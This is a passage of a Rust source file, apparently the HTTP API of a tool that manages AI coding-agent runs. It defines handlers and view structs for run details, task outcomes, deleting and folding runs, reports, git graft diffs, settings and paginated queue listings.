3988 .questions
3989 .list()
3990 .into_iter()
3991 .filter(|q| q.status.open())
3992 .map(|q| q.run)
3993 .collect();
3994 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3995 .into_iter()
3996 .map(|c| c.run)
3997 .collect();
3998 (open_runs, claimed, ui.queue.superseded())
3999}
4000
4001fn summarize<I, S, D>(
4007 states: I,
4008 open_runs: &HashSet<String>,
4009 claimed: &HashSet<String>,
4010 superseded: &HashMap<String, String>,
4011 mut status_q: S,
4012 mut identity_q: D,
4013) -> Vec<RunSummary>
4014where
4015 I: IntoIterator<Item = RunState>,
4016 S: FnMut(u32) -> Option<bool>,
4017 D: FnMut(u32) -> Option<String>,
4018{
4019 states
4020 .into_iter()
4021 .map(|state| {
4022 let waiting = open_runs.contains(&state.id);
4023 let live =
4024 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4025 let mut row = RunSummary::of(&state, waiting, live);
4026 row.superseded_by = state
4027 .pr_taken_over_by
4028 .as_ref()
4029 .or_else(|| superseded.get(&state.id))
4030 .map(String::as_str)
4031 .map(crate::run::short_of)
4032 .map(str::to_owned);
4033 row.badge_status = run_badge_status(
4034 &state,
4035 &row.display_status,
4036 live,
4037 row.superseded_by.is_some(),
4038 );
4039 row
4040 })
4041 .collect()
4042}
4043
4044#[derive(Debug, Serialize)]
4051struct RunDetailView {
4052 stop_reason: Option<String>,
4053 #[serde(flatten)]
4054 state: RunState,
4055 instruction_md: Vec<md::Node>,
4056 #[serde(flatten)]
4060 prose_md: RunProseMd,
4061 live: crate::run::Liveness,
4076 unmerged_by_design: bool,
4081 #[serde(default)]
4083 waiting: bool,
4084 #[serde(default)]
4086 display_status: String,
4087 #[serde(default)]
4089 badge_status: String,
4090 done: bool,
4095 superseded_by: Option<String>,
4103 latest_attempt: Option<LatestAttempt>,
4117 task: Option<TaskRef>,
4120 origin_label: String,
4124 pass_views: Vec<PassView>,
4127}
4128
4129#[derive(Debug, Serialize)]
4131struct TaskRef {
4132 id: String,
4133 short: String,
4134 title: String,
4135 source_label: String,
4137 source_link: Option<SourceLink>,
4139 status: &'static str,
4141 attempts: usize,
4142 max_attempts: usize,
4143 is_latest: bool,
4145 latest: Option<RunBrief>,
4147 finished_by: Option<RunBrief>,
4149 closed_by_hand: bool,
4151}
4152
4153#[derive(Debug, PartialEq, Eq, Serialize)]
4155struct SourceLink {
4156 kind: &'static str,
4158 id: String,
4160 href: String,
4162}
4163
4164fn encode_segment(raw: &str) -> String {
4166 let mut out = String::with_capacity(raw.len());
4167 for b in raw.bytes() {
4168 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4169 out.push(b as char);
4170 } else {
4171 out.push_str(&format!("%{b:02X}"));
4172 }
4173 }
4174 out
4175}
4176
4177fn source_link(source: &Source) -> Option<SourceLink> {
4181 let Source::Agent { run, node } = source else {
4182 return None;
4183 };
4184 let (kind, route) = if node == crate::queue::CHAT_NODE {
4185 ("chat", "chat")
4186 } else {
4187 ("run", "runs")
4188 };
4189 Some(SourceLink {
4190 kind,
4191 id: run.clone(),
4192 href: id_links::page_href(route, run),
4193 })
4194}
4195
4196#[derive(Debug, Serialize, PartialEq)]
4198struct FollowUpParent {
4199 id: String,
4200 short: String,
4201 title: String,
4202 status: &'static str,
4204 href: String,
4205}
4206
4207#[derive(Debug, Serialize, PartialEq)]
4209struct FollowUpRun {
4210 id: String,
4211 short: String,
4212 status: Option<&'static str>,
4214 href: Option<String>,
4216}
4217
4218#[derive(Debug, Serialize, PartialEq)]
4221struct FollowUpOrigin {
4222 parent: Option<FollowUpParent>,
4224 run: FollowUpRun,
4225 pr: String,
4230 findings: Vec<String>,
4231 generation: u32,
4232}
4233
4234fn followup_origin(
4237 fu: &crate::queue::FollowUp,
4238 task: impl Fn(&str) -> Option<Task>,
4239 run: impl Fn(&str) -> Option<RunState>,
4240) -> FollowUpOrigin {
4241 let parent = fu
4242 .origin_task
4243 .as_deref()
4244 .and_then(task)
4245 .map(|t| FollowUpParent {
4246 short: t.short().to_owned(),
4247 href: format!("#/tasks/{}", encode_segment(&t.id)),
4248 status: t.status.as_str(),
4249 title: t.title,
4250 id: t.id,
4251 });
4252 let state = run(&fu.run);
4253 FollowUpOrigin {
4254 parent,
4255 run: FollowUpRun {
4256 short: run::short_of(&fu.run).to_owned(),
4257 status: state.as_ref().map(|s| s.status.as_str()),
4258 href: state
4259 .is_some()
4260 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4261 id: fu.run.clone(),
4262 },
4263 pr: fu.pr.clone(),
4264 findings: fu.findings.clone(),
4265 generation: fu.generation,
4266 }
4267}
4268
4269#[derive(Debug, Serialize)]
4271struct RunBrief {
4272 id: String,
4273 short: String,
4274 status: Option<&'static str>,
4276 outcome: String,
4278 badge: Option<String>,
4280}
4281
4282fn task_outcome(
4285 task: &Task,
4286 this_run: &str,
4287 max_attempts: usize,
4288 read: impl Fn(&str) -> Option<RunState>,
4289) -> TaskRef {
4290 let max_attempts = task.effective_attempt_limit(max_attempts);
4291 let history = task_history(task, read);
4292 let brief = |h: &TaskRunView| RunBrief {
4293 id: h.id.clone(),
4294 short: h.short.clone(),
4295 status: h.status,
4296 outcome: h.exit.edge_label(h.status),
4297 badge: h.badge.clone(),
4298 };
4299 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4300 let latest = if is_latest {
4301 None
4302 } else {
4303 history.last().map(brief)
4304 };
4305 let done = task.status == TaskStatus::Done;
4306 let finished_by = done
4307 .then(|| {
4308 history
4309 .iter()
4310 .rev()
4311 .find(|h| {
4312 matches!(
4313 h.exit,
4314 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4315 )
4316 })
4317 .map(brief)
4318 })
4319 .flatten();
4320 TaskRef {
4321 short: task.short().to_owned(),
4322 title: task.title.clone(),
4323 id: task.id.clone(),
4324 source_label: task.source.label(),
4325 source_link: source_link(&task.source),
4326 status: task.status.as_str(),
4327 attempts: task.attempts,
4328 max_attempts,
4329 is_latest,
4330 latest,
4331 closed_by_hand: done && finished_by.is_none(),
4332 finished_by,
4333 }
4334}
4335
4336#[derive(Debug, Serialize)]
4338struct LatestAttempt {
4339 id: String,
4340 short: String,
4341 resolved: bool,
4352 status: RunStatus,
4355 done: bool,
4357}
4358
4359#[derive(Debug, Default, Serialize)]
4361struct RunProseMd {
4362 advice_md: Option<AdviceMd>,
4364 candidate_summaries_md: Vec<Vec<md::Node>>,
4366 reviews_md: Vec<RoundMd>,
4368}
4369
4370#[derive(Debug, Default, Serialize)]
4371struct AdviceMd {
4372 synthesis: Vec<md::Node>,
4373 approaches: Vec<Vec<md::Node>>,
4375}
4376
4377#[derive(Debug, Default, Serialize)]
4378struct RoundMd {
4379 reviewers: Vec<ReviewerMd>,
4381 reconsideration: Vec<Vec<md::Node>>,
4383 fix: Option<FixMd>,
4384}
4385
4386#[derive(Debug, Default, Serialize)]
4387struct ReviewerMd {
4388 summary: Vec<md::Node>,
4389 findings: Vec<Vec<md::Node>>,
4391}
4392
4393#[derive(Debug, Default, Serialize)]
4394struct FixMd {
4395 notes: Vec<md::Node>,
4396 rejected: Vec<Vec<md::Node>>,
4398}
4399
4400fn run_prose_md(state: &RunState) -> RunProseMd {
4402 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4403 RunProseMd {
4404 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4405 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4406 approaches: a
4407 .records
4408 .iter()
4409 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4410 .collect(),
4411 }),
4412 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4413 reviews_md: state
4414 .reviews
4415 .iter()
4416 .map(|round| RoundMd {
4417 reviewers: round
4418 .reviews
4419 .iter()
4420 .map(|rec| ReviewerMd {
4421 summary: nodes(&rec.summary),
4422 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4423 })
4424 .collect(),
4425 reconsideration: round
4426 .reconsideration
4427 .iter()
4428 .map(|rv| nodes(&rv.reason))
4429 .collect(),
4430 fix: round.fix.as_ref().map(|fix| FixMd {
4431 notes: nodes(&fix.notes),
4432 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4433 }),
4434 })
4435 .collect(),
4436 }
4437}
4438
4439impl RunDetailView {
4440 fn of(
4441 state: RunState,
4442 waiting: bool,
4443 live: crate::run::Liveness,
4444 superseded_by: Option<String>,
4445 latest_attempt: Option<LatestAttempt>,
4446 task: Option<TaskRef>,
4447 ) -> Self {
4448 let display_status = run_display_status(&state, waiting, live);
4449 let stop_reason = crate::stop_reason::of(
4450 &state,
4451 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4452 );
4453 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4454 Self {
4455 stop_reason,
4456 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4457 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4458 prose_md: run_prose_md(&state),
4459 origin_label: crate::run::origin_label(state.origin.as_ref()),
4460 live,
4461 unmerged_by_design: state.unmerged_by_design(),
4462 waiting,
4463 display_status,
4464 badge_status,
4465 done: state.status.done(),
4466 superseded_by,
4467 latest_attempt,
4468 task,
4469 state,
4470 }
4471 }
4472}
4473
4474async fn run_core(
4476 State(ui): State<Arc<Ui>>,
4477 Path(id): Path<String>,
4478) -> ApiResult<Json<RunDetailView>> {
4479 blocking(move || {
4480 let id = resolve_run(&ui.runs, &id)?;
4481 let state = read_run(&ui.runs, &id)?;
4482 Ok(Json(RunDetailView::of(
4483 state,
4484 false,
4485 crate::run::Liveness::Unknown,
4486 None,
4487 None,
4488 None,
4489 )))
4490 })
4491 .await
4492}
4493
4494async fn run_detail(
4495 State(ui): State<Arc<Ui>>,
4496 Path(id): Path<String>,
4497) -> ApiResult<Json<RunDetailView>> {
4498 blocking(move || {
4499 let id = resolve_run(&ui.runs, &id)?;
4500 let state = read_run(&ui.runs, &id)?;
4501 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4502 let live = state.liveness(daemon_claims);
4503 crate::queue::record_ids(ui.questions.root(), "json")?;
4504 let waiting = ui
4505 .questions
4506 .list()
4507 .iter()
4508 .any(|q| q.run == id && q.status.open());
4509 let max_attempts = daemon::Opts::default().max_attempts;
4510
4511 let matching_task = ui.find_task_for_run(&id)?;
4512
4513 let superseded_by = state
4514 .pr_taken_over_by
4515 .clone()
4516 .or_else(|| {
4517 matching_task
4518 .as_ref()
4519 .and_then(|t| t.successor_of(&id).cloned())
4520 })
4521 .as_deref()
4522 .map(crate::run::short_of)
4523 .map(str::to_owned);
4524
4525 let latest_attempt = matching_task
4529 .as_ref()
4530 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4531 .and_then(|head_id| {
4532 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4533 short: head.short().to_owned(),
4534 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4535 status: head.status,
4536 done: head.status.done(),
4537 id: head.id,
4538 })
4539 });
4540
4541 let task = matching_task
4542 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4543
4544 Ok(Json(RunDetailView::of(
4545 state,
4546 waiting,
4547 live,
4548 superseded_by,
4549 latest_attempt,
4550 task,
4551 )))
4552 })
4553 .await
4554}
4555
4556async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4565 let (id, unreadable) = {
4566 let ui = Arc::clone(&ui);
4567 blocking(move || {
4568 let id = resolve_run(&ui.runs, &id)?;
4569 match read_run(&ui.runs, &id) {
4570 Ok(state) => {
4571 let in_flight =
4572 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4573 state
4574 .ensure_can_delete(in_flight)
4575 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4576 let dir = ui.runs.join(&id);
4577 std::fs::remove_dir_all(&dir)
4578 .with_context(|| format!("remove run directory {}", dir.display()))?;
4579 Ok((id, false))
4580 }
4581 Err(_) => {
4582 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4586 return Err(ApiError::conflict(format!(
4587 "run {id} is being worked on by a live daemon right now"
4588 )));
4589 }
4590 Ok((id, true))
4591 }
4592 }
4593 })
4594 .await?
4595 };
4596 if unreadable {
4597 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4598 .await
4599 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4600 }
4601 let ui = Arc::clone(&ui);
4602 let done = id.clone();
4603 blocking(move || {
4604 ui.questions.abandon_for_run(
4607 &done,
4608 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4609 )?;
4610 Ok(())
4611 })
4612 .await?;
4613 Ok(StatusCode::NO_CONTENT)
4614}
4615
4616async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4640 let (id, state) = {
4641 let ui = Arc::clone(&ui);
4642 blocking(move || {
4643 let id = resolve_run(&ui.runs, &id)?;
4644 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4645 return Err(ApiError::conflict(format!(
4646 "run {id} is being worked on by a live daemon right now"
4647 )));
4648 }
4649 let state = read_run(&ui.runs, &id).ok();
4650 Ok((id, state))
4651 })
4652 .await?
4653 };
4654 let removed = match state {
4655 Some(mut state) => {
4656 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4657 .await
4658 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4659 if removed.is_empty() {
4664 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4665 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4666 }
4667 removed
4668 }
4669 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4670 .await
4671 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4672 };
4673 Ok(Json(FoldView {
4674 run: id,
4675 removed_count: removed.len(),
4676 removed,
4677 }))
4678}
4679
4680#[derive(Debug, Serialize)]
4682struct FoldView {
4683 run: String,
4684 removed: Vec<String>,
4686 removed_count: usize,
4687}
4688
4689#[derive(Debug, Deserialize)]
4692struct FoldMergedBody {
4693 #[serde(default)]
4694 pr_url: String,
4695}
4696
4697async fn run_fold_merged(
4717 State(ui): State<Arc<Ui>>,
4718 Path(id): Path<String>,
4719 Json(body): Json<FoldMergedBody>,
4720) -> ApiResult<Json<FoldMergedView>> {
4721 let pr_url = body.pr_url.trim().to_owned();
4722 if pr_url.is_empty() {
4723 return Err(ApiError::bad_request("pr_url is required"));
4724 }
4725 let (id, mut state) = {
4726 let ui = Arc::clone(&ui);
4727 blocking(move || {
4728 let id = resolve_run(&ui.runs, &id)?;
4729 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4730 return Err(ApiError::conflict(format!(
4731 "run {id} is being worked on by a live daemon right now"
4732 )));
4733 }
4734 let state = read_run(&ui.runs, &id)?;
4735 Ok((id, state))
4736 })
4737 .await?
4738 };
4739 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4740 .await
4741 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4742 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4743 .await
4744 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4745 Ok(Json(FoldMergedView {
4746 run: id,
4747 before: before.as_str().to_owned(),
4748 after: after.as_str().to_owned(),
4749 removed,
4750 }))
4751}
4752
4753#[derive(Debug, Serialize)]
4755struct FoldMergedView {
4756 run: String,
4757 before: String,
4759 after: String,
4761 removed: Vec<String>,
4763}
4764
4765async fn run_resume(
4785 State(ui): State<Arc<Ui>>,
4786 Path(id): Path<String>,
4787) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4788 let admission = ui.begin_admission()?;
4789 admitted(admission, async move {
4790 let (id, state) = {
4791 let ui = Arc::clone(&ui);
4792 blocking(move || {
4793 let id = resolve_run(&ui.runs, &id)?;
4794 let state = read_run(&ui.runs, &id)?;
4795 Ok((id, state))
4796 })
4797 .await?
4798 };
4799 crate::resume::validate_unqueued(&ui.home, &id)
4800 .map_err(|e| ApiError::conflict(e.to_string()))?;
4801 let _resume = ui.begin_resume(&id)?;
4802
4803 crate::resume::start(&ui.home, id.clone())
4804 .await
4805 .map_err(ApiError::from)?;
4806 let queued = RunSummary::of(
4809 &state,
4810 !ui.questions.open_for(&id).is_empty(),
4811 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4812 );
4813 Ok((StatusCode::ACCEPTED, Json(queued)))
4814 })
4815 .await
4816}
4817
4818async fn run_report(
4819 State(ui): State<Arc<Ui>>,
4820 Path(id): Path<String>,
4821) -> ApiResult<impl IntoResponse> {
4822 let text = blocking(move || {
4823 let id = resolve_run(&ui.runs, &id)?;
4824 let state = read_run(&ui.runs, &id)?;
4828 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4829 let live = state.liveness(daemon_claims);
4830 Ok(format!(
4831 "{}{}",
4832 report::run(&state),
4833 report::active_seats(&state, live)
4834 ))
4835 })
4836 .await?;
4837 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4838}
4839
4840async fn run_report_json(
4844 State(ui): State<Arc<Ui>>,
4845 Path(id): Path<String>,
4846) -> ApiResult<Json<crate::report_view::RunReportView>> {
4847 let view = blocking(move || {
4848 let id = resolve_run(&ui.runs, &id)?;
4849 let state = read_run(&ui.runs, &id)?;
4850 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4851 let recovered = state.graft.as_ref().map(|_| {
4853 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4854 });
4855 Ok(crate::report_view::build_with(
4856 &state,
4857 state.liveness(daemon_claims),
4858 recovered.as_ref(),
4859 ))
4860 })
4861 .await?;
4862 Ok(Json(view))
4863}
4864
4865const GRAFT_DIFF_MAX: usize = 400 * 1024;
4867const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4869
4870async fn run_graft_diff(
4873 State(ui): State<Arc<Ui>>,
4874 Path(id): Path<String>,
4875) -> ApiResult<impl IntoResponse> {
4876 let (repo, pre, post) = blocking(move || {
4877 let id = resolve_run(&ui.runs, &id)?;
4878 let state = read_run(&ui.runs, &id)?;
4879 let g = state
4880 .graft
4881 .as_ref()
4882 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4883 let post = g
4884 .post
4885 .clone()
4886 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4887 Ok((state.repo.clone(), g.pre.clone(), post))
4888 })
4889 .await?;
4890 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4891 if !hex(&pre) || !hex(&post) {
4892 return Err(ApiError::not_found("the recorded commits are not valid"));
4893 }
4894 let out = tokio::time::timeout(
4895 GRAFT_DIFF_TIMEOUT,
4896 crate::git::git_raw(
4897 &repo,
4898 &[
4899 "diff",
4900 "--no-color",
4901 "--no-ext-diff",
4902 "-M",
4903 &pre,
4904 &post,
4905 "--",
4906 ],
4907 ),
4908 )
4909 .await
4910 .map_err(|_| ApiError::not_found("git diff timed out"))?
4911 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4912 if out.code != Some(0) {
4913 return Err(ApiError::not_found(
4914 "the recorded commits are no longer in the repository",
4915 ));
4916 }
4917 let mut body = out.stdout;
4918 if body.len() > GRAFT_DIFF_MAX {
4919 let mut cut = GRAFT_DIFF_MAX;
4920 while !body.is_char_boundary(cut) {
4921 cut -= 1;
4922 }
4923 body.truncate(cut);
4924 body.push_str("\n... diff truncated ...");
4925 }
4926 Ok((
4927 [
4928 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4929 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4930 ],
4931 body,
4932 ))
4933}
4934
4935#[derive(Debug, Serialize)]
4941struct TaskView {
4942 #[serde(flatten)]
4943 task: Task,
4944 source_label: String,
4945 source_link: Option<SourceLink>,
4946 status_str: &'static str,
4947 instruction_md: Vec<md::Node>,
4951 waits_on: Vec<String>,
4955 stuck_roots: Vec<String>,
4958}
4959
4960impl From<Task> for TaskView {
4961 fn from(task: Task) -> Self {
4962 Self {
4963 source_label: task.source.label(),
4964 source_link: source_link(&task.source),
4965 status_str: task.status.as_str(),
4966 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4967 waits_on: Vec::new(),
4968 stuck_roots: Vec::new(),
4969 task,
4970 }
4971 }
4972}
4973
4974impl TaskView {
4975 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4976 let waits_on = inv.waits_on(&task);
4977 let stuck_roots = inv
4978 .stuck_roots(&task)
4979 .iter()
4980 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4981 .collect();
4982 Self {
4983 waits_on,
4984 stuck_roots,
4985 ..Self::from(task)
4986 }
4987 }
4988}
4989
4990#[derive(Debug, Default, Deserialize)]
4993#[serde(default)]
4994struct ReposQuery {
4995 refresh: u8,
4996}
4997
4998async fn repos_list(
5005 State(ui): State<Arc<Ui>>,
5006 Query(q): Query<ReposQuery>,
5007) -> ApiResult<Json<Vec<repos::Repo>>> {
5008 let refresh = q.refresh != 0;
5009 blocking(move || {
5010 let (cfg, _) = Config::discover(&ui.repo, None)?;
5011 Ok(Json(ui.repos_cache.list(
5012 &cfg.repos.roots,
5013 Duration::from_secs(cfg.repos.scan_ttl),
5014 refresh,
5015 )))
5016 })
5017 .await
5018}
5019
5020#[derive(Debug, Default, Deserialize)]
5022struct SettingsQuery {
5023 repo: Option<PathBuf>,
5024}
5025
5026fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5030 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5031 let paths: Vec<PathBuf> = ui
5032 .machine_config
5033 .iter()
5034 .filter(|p| p.is_file())
5035 .cloned()
5036 .collect();
5037 if paths.is_empty() {
5038 Ok(Config::autodetected())
5039 } else {
5040 Config::load_layers(&paths)
5041 }
5042 });
5043 let mut known = cfg
5044 .map(|cfg| {
5045 ui.repos_cache.list(
5046 &cfg.repos.roots,
5047 Duration::from_secs(cfg.repos.scan_ttl),
5048 refresh,
5049 )
5050 })
5051 .unwrap_or_default();
5052 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5053 if !known.iter().any(|r| r.path == path) {
5054 known.push(repos::Repo {
5055 name: path
5056 .file_name()
5057 .unwrap_or_default()
5058 .to_string_lossy()
5059 .into_owned(),
5060 path,
5061 });
5062 }
5063 known
5064}
5065
5066fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5067 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5068 let canonical = requested.canonicalize().ok();
5069 let mut known = settings_repositories(ui, false);
5070 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5071 if !known.iter().any(matches) {
5072 known = settings_repositories(ui, true);
5073 }
5074 let repo = known
5075 .iter()
5076 .find(|r| matches(r))
5077 .map(|r| r.path.clone())
5078 .ok_or_else(|| ApiError {
5079 text_reason: None,
5080 status: StatusCode::UNPROCESSABLE_ENTITY,
5081 message: "Choose a known repository from the Settings selector.".to_owned(),
5082 })?;
5083 Ok((repo, known))
5084}
5085
5086async fn settings_get(
5090 State(ui): State<Arc<Ui>>,
5091 Query(q): Query<SettingsQuery>,
5092) -> ApiResult<Json<settings::SettingsView>> {
5093 blocking(move || {
5094 let (repo, known) = settings_context(&ui, q)?;
5095 Ok(Json(settings::view_with_repos(
5096 &repo,
5097 ui.machine_config.as_deref(),
5098 &known,
5099 )))
5100 })
5101 .await
5102}
5103
5104#[derive(Debug, Deserialize)]
5106#[serde(deny_unknown_fields)]
5107struct RolesBody {
5108 revision: String,
5110 #[serde(default)]
5112 roles: std::collections::BTreeMap<String, Vec<String>>,
5113 #[serde(default)]
5117 counts: std::collections::BTreeMap<String, serde_json::Value>,
5118}
5119
5120async fn settings_put_roles(
5126 State(ui): State<Arc<Ui>>,
5127 Query(q): Query<SettingsQuery>,
5128 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5129) -> ApiResult<Json<settings::SettingsView>> {
5130 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5131 blocking(move || {
5132 let (repo, known) = settings_context(&ui, q)?;
5133 settings::save_with_repos(
5134 &repo,
5135 ui.machine_config.as_deref(),
5136 &body.revision,
5137 &body.roles,
5138 &body.counts,
5139 &known,
5140 )
5141 .map(Json)
5142 .map_err(|e| match e {
5143 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5144 settings::SaveError::Refused(m) => ApiError {
5145 text_reason: None,
5146 status: StatusCode::UNPROCESSABLE_ENTITY,
5147 message: m,
5148 },
5149 settings::SaveError::Internal(m) => ApiError::internal(m),
5150 })
5151 })
5152 .await
5153}
5154
5155async fn queue_list(
5156 State(ui): State<Arc<Ui>>,
5157 Query(q): Query<ListQuery>,
5158) -> ApiResult<Json<Vec<TaskView>>> {
5159 blocking(move || {
5160 let tasks = ui.queue.list();
5161 let inv =
5162 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5163 Ok(Json(
5164 tasks
5165 .into_iter()
5166 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5167 .map(|t| TaskView::with_inventory(t, &inv))
5168 .collect(),
5169 ))
5170 })
5171 .await
5172}
5173
5174#[derive(Debug, Default, Deserialize)]
5179struct PageQuery {
5180 before: Option<String>,
5181}
5182
5183#[derive(Serialize)]
5184struct StorePage<T> {
5185 rows: Vec<T>,
5186 next: Option<String>,
5187}
5188
5189const STORE_PAGE_SIZE: usize = 16;
5190
5191#[derive(Debug)]
5195struct ListWalk {
5196 token: u64,
5197 talks: bool,
5198 opened: std::time::Instant,
5199 ids: Arc<Vec<String>>,
5200 initial_end: usize,
5201}
5202
5203fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5204 page_ids_with(ui, talks, q, open_talk_ids)
5205}
5206
5207fn page_ids_with(
5208 ui: &Ui,
5209 talks: bool,
5210 q: PageQuery,
5211 classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5212) -> ApiResult<(Vec<String>, Option<String>)> {
5213 let mut walks = ui
5214 .monitor
5215 .list_walks
5216 .lock()
5217 .unwrap_or_else(PoisonError::into_inner);
5218 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5219 let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5220 let (token, offset) = cursor
5221 .split_once(':')
5222 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5223 let token = token
5224 .parse::<u64>()
5225 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5226 let offset = offset
5227 .parse::<usize>()
5228 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5229 let walk = walks
5230 .iter()
5231 .find(|walk| walk.token == token && walk.talks == talks)
5232 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5233 (token, walk.ids.clone(), offset, walk.initial_end)
5234 } else {
5235 drop(walks);
5238 let root = if talks {
5239 ui.talks.root()
5240 } else {
5241 ui.queue.root()
5242 };
5243 let mut ids = crate::queue::record_ids(root, "json")?;
5244 ids.sort_unstable_by(|a, b| b.cmp(a));
5245 let initial_end = if talks {
5246 let open = classify(ui, &ids);
5247 ids.sort_by_key(|id| !open.contains(id));
5250 open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5251 } else {
5252 STORE_PAGE_SIZE.min(ids.len())
5253 };
5254 let ids = Arc::new(ids);
5255 walks = ui
5256 .monitor
5257 .list_walks
5258 .lock()
5259 .unwrap_or_else(PoisonError::into_inner);
5260 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5261 let mut token = crate::rng::entropy();
5262 while walks.iter().any(|walk| walk.token == token) {
5263 token = crate::rng::entropy();
5264 }
5265 if walks.len() >= 16 {
5268 walks.remove(0);
5269 }
5270 walks.push(ListWalk {
5271 token,
5272 talks,
5273 opened: std::time::Instant::now(),
5274 ids: ids.clone(),
5275 initial_end,
5276 });
5277 (token, ids, 0, initial_end)
5278 };
5279 if offset > ids.len() {
5280 return Err(ApiError::bad_request("Invalid list cursor"));
5281 }
5282 let end = if offset == 0 {
5283 initial_end
5284 } else {
5285 offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5286 };
5287 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5288 Ok((ids[offset..end].to_vec(), next))
5289}
5290
5291async fn queue_page(
5292 State(ui): State<Arc<Ui>>,
5293 Query(q): Query<PageQuery>,
5294) -> ApiResult<Json<StorePage<TaskView>>> {
5295 blocking(move || {
5296 let (ids, next) = page_ids(&ui, false, q)?;
5297 let tasks: Vec<_> = ids
5298 .into_iter()
5299 .filter_map(|id| ui.queue.get(&id).ok())
5300 .collect();
5301 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5302 let rows = tasks
5303 .into_iter()
5304 .map(|task| TaskView::with_inventory(task, &inv))
5305 .collect();
5306 Ok(Json(StorePage { rows, next }))
5307 })
5308 .await
5309}
5310
5311#[derive(Debug, Clone, Serialize)]
5314struct TalkListView {
